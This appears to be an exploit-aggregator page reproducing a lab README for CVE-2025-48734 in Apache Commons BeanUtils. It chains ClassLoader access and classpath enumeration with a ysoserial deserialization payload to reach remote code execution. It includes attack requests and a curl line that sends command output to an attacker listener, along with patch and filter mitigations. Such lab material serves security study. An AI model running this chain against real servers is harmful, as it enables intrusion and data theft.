Sploitus

Exploit for CVE-2025-48734

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN269 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-H3RAKLEZ-CVE-2025-48734
# CVE-2025-48734: Apache Commons BeanUtils – enum declaringClass Information Leak & RCE Chain

> **For educational and authorized security research purposes only.**

This repository provides a controlled lab environment to reproduce the **CVE-2025-48734** vulnerability in Apache Commons BeanUtils and explore how an attacker could escalate to remote code execution (RCE) under certain conditions.

* * *

## πŸ“– Vulnerability Description

**CVE-2025-48734** affects Apache Commons BeanUtils in versions prior to **1.11.0** (and the 2.x branch before **2.0.0-M2**). The issue lies in `PropertyUtilsBean` allowing access to the `declaringClass` property of Java enums through nested paths (e.g., `enum.declaringClass`). All enums inherit the `getDeclaringClass()` method from `java.lang.Enum`, which BeanUtils exposes as a navigable property.

An attacker who can control the property path in calls to `getProperty()` or `getNestedProperty()` can:

  * Obtain a reference to the application's `ClassLoader` (via `enum.declaringClass.classLoader`).
  * Enumerate all JARs loaded at runtime by iterating `classLoader.URLs[n]`.
  * Escalate to RCE if the application has an unsafe deserialization endpoint and a vulnerable gadget library in its classpath.



> ⚠️ **Important:** The vulnerability alone **does not directly grant RCE**. It provides access to the `ClassLoader` and enables classpath enumeration, which must be chained with an unsafe deserialization endpoint and a vulnerable gadget library to achieve code execution. See the Detailed Exploit Analysis section.

**CVSS Score:** 8.8 (High) β€” `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`

* * *

## πŸ§ͺ Lab Environment

### Infrastructure

The lab consists of two components:

  * **Debian VM** β€” runs the vulnerable Spring Boot application.
  * **Kali VM** β€” runs the attack tooling.



### Vulnerable Application (Debian)

A Spring Boot service exposing the following endpoints:

  * `GET /api/property?path=<property-path>` β€” reads a nested property using `PropertyUtilsBean.getNestedProperty()` without sanitization. **This is the CVE entry point.**
  * `GET /api/nested-set?path=<path>&value=<value>` β€” writes nested properties (also vulnerable).
  * `POST /api/data/import` β€” accepts raw Java serialized objects (`application/octet-stream`) and deserializes them without validation. **This is the RCE delivery vector.**



The target bean is an `Order` object containing a `Status` enum. This allows building the chain `status.declaringClass.classLoader`.

> **Note:** The `/api/data/import` endpoint is **not part of CVE-2025-48734**. It is included to simulate a realistic scenario where a vulnerable deserialization endpoint coexists with the CVE. In a real application this type of endpoint appears in legacy integrations, internal APIs, or misconfigured middleware.

### Vulnerable Dependencies

Library| Version| Role in the chain  
---|---|---  
`commons-beanutils`| 1.9.4| CVE-2025-48734 entry point  
`commons-collections`| 3.2.2| Deserialization gadget chain  
  
* * *

## βš™οΈ Quick Setup

### Debian VM

root@kitploit:~
    
    
    chmod +x setup-lab-debian.sh
    ./setup-lab-debian.sh
    

The script installs dependencies, compiles the project, registers it as a systemd service, and starts it automatically. The application listens on `0.0.0.0:8080`.

### Kali VM

root@kitploit:~
    
    
    chmod +x kali-lab-tools.sh
    ./kali-lab-tools.sh <debian_ip> 8080
    

The script installs dependencies and downloads ysoserial.

* * *

## πŸ’€ Full Attack Chain

The exploit is fully automated in a single script that enforces the correct phase order. **Each phase is a prerequisite for the next.**

root@kitploit:~
    
    
    cd ~/lab-tools
    ./exploit.sh <debian_ip> 8080 '<command>'
    

### Phase 1 β€” CVE-2025-48734 Reconnaissance

The script probes `status.declaringClass` and `status.declaringClass.classLoader`. If either is blocked, the script aborts β€” the application is patched and the chain cannot proceed.

root@kitploit:~
    
    
    GET /api/property?path=status.declaringClass
    β†’ "status": "success", "valueClass": "java.lang.Class"
    
    GET /api/property?path=status.declaringClass.classLoader
    β†’ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
    

### Phase 2 β€” Classpath Enumeration via CVE

Using the `ClassLoader` reference obtained in Phase 1, the script iterates `classLoader.URLs[n]` to list all loaded JARs and looks for Commons Collections 3.x. If not found, the script aborts β€” no gadget chain is available.

root@kitploit:~
    
    
    GET /api/property?path=status.declaringClass.classLoader.URLs[0]
    β†’ jar:file:/…/BOOT-INF/classes!/
    
    GET /api/property?path=status.declaringClass.classLoader.URLs[30]
    β†’ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
    

### Phase 3 β€” Deserialization Endpoint Discovery

With a gadget chain confirmed, the script fuzzes common import/sync endpoints sending the Java serialization magic bytes (`0xACED0005`) and identifies endpoints attempting `ObjectInputStream.readObject()` by their response pattern. If no endpoint is found, the script aborts.

root@kitploit:~
    
    
    POST /api/data/import (magic bytes)
    β†’ HTTP 200 β€” endpoint found
    

### Phase 4 β€” Payload Generation and Delivery

ysoserial generates a `CommonsCollections6` payload (most portable for Java 11+) and sends it to the discovered endpoint.

root@kitploit:~
    
    
    POST /api/data/import
    Content-Type: application/octet-stream
    Body: <ysoserial CommonsCollections6 payload>
    
    β†’ {"status": "success", "class": "java.util.HashSet"}
    

### Phase 5 β€” RCE Confirmed

The command executes on the server during deserialization, before the response is returned. Output can be exfiltrated by redirecting to a file or via HTTP callback:

root@kitploit:~
    
    
    # Write to file
    ./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
    # Then on Debian: cat /tmp/out.txt
    # β†’ uid=0(root) gid=0(root) groups=0(root)
    
    # Exfiltrate via HTTP (listener on Kali)
    python3 -m http.server 9000
    ./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'
    

* * *

## πŸ” Why is CVE-2025-48734 a prerequisite for RCE?

The CVE is not a direct RCE vector β€” it is the **reconnaissance pivot** that makes the rest of the chain possible:

root@kitploit:~
    
    
    Without CVE-2025-48734:
      β†’ No ClassLoader access
      β†’ No classpath enumeration
      β†’ No way to confirm Commons Collections 3.x is present
      β†’ No reason to look for a deserialization endpoint
      β†’ Chain broken at the start
    
    With CVE-2025-48734:
      β†’ ClassLoader exposed
      β†’ Full classpath visible via URLs[n]
      β†’ Commons Collections 3.x confirmed
      β†’ Deserialization endpoint discovered via fuzzing
      β†’ RCE achieved
    

The three conditions that must align for full RCE:

Condition| This lab| Real world  
---|---|---  
BeanUtils < 1.11.0 with unfiltered path input| βœ…| Common in legacy apps  
Gadget library in classpath (CC 3.x)| βœ…| Frequent in enterprise Java  
Unsafe deserialization endpoint  
  
* * *

## πŸ›‘οΈ Mitigation and Patch

### Fix CVE-2025-48734

Upgrade Commons BeanUtils:

Artifact| Vulnerable| Safe  
---|---|---  
`commons-beanutils:commons-beanutils`| < 1.11.0| **> = 1.11.0**  
`org.apache.commons:commons-beanutils2`| < 2.0.0-M2| **> = 2.0.0-M2**  
  
In `pom.xml`:

root@kitploit:~
    
    
    <dependency>
        <groupId>commons-beanutils</groupId>
        <artifactId>commons-beanutils</artifactId>
        <version>1.11.0</version>
    </dependency>
    

### Fix Unsafe Deserialization

Two complementary mitigations:

  1. **Upgrade Commons Collections** to 4.x β€” removes the gadget chain.
  2. **Add an ObjectInputFilter** β€” restricts which classes can be deserialized:



root@kitploit:~
    
    
    ObjectInputStream ois = new ObjectInputStream(inputStream);
    ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
        "java.lang.Integer;java.lang.String;!*"
    ));
    

### Verifying the Patch

After upgrading BeanUtils to 1.11.0, recompile and restart the service. Run the exploit script β€” it should abort at Phase 1:

root@kitploit:~
    
    
    [-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.
    

* * *

## πŸ“š References

  * CVE-2025-48734 on NVD
  * GitHub Advisory GHSA-wxr5-93ph-8wr9
  * Apache Commons BeanUtils Security Reports
  * ysoserial



* * *

## Disclaimer

This tool is provided for **educational purposes and authorized security testing only**. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author is not responsible for any misuse.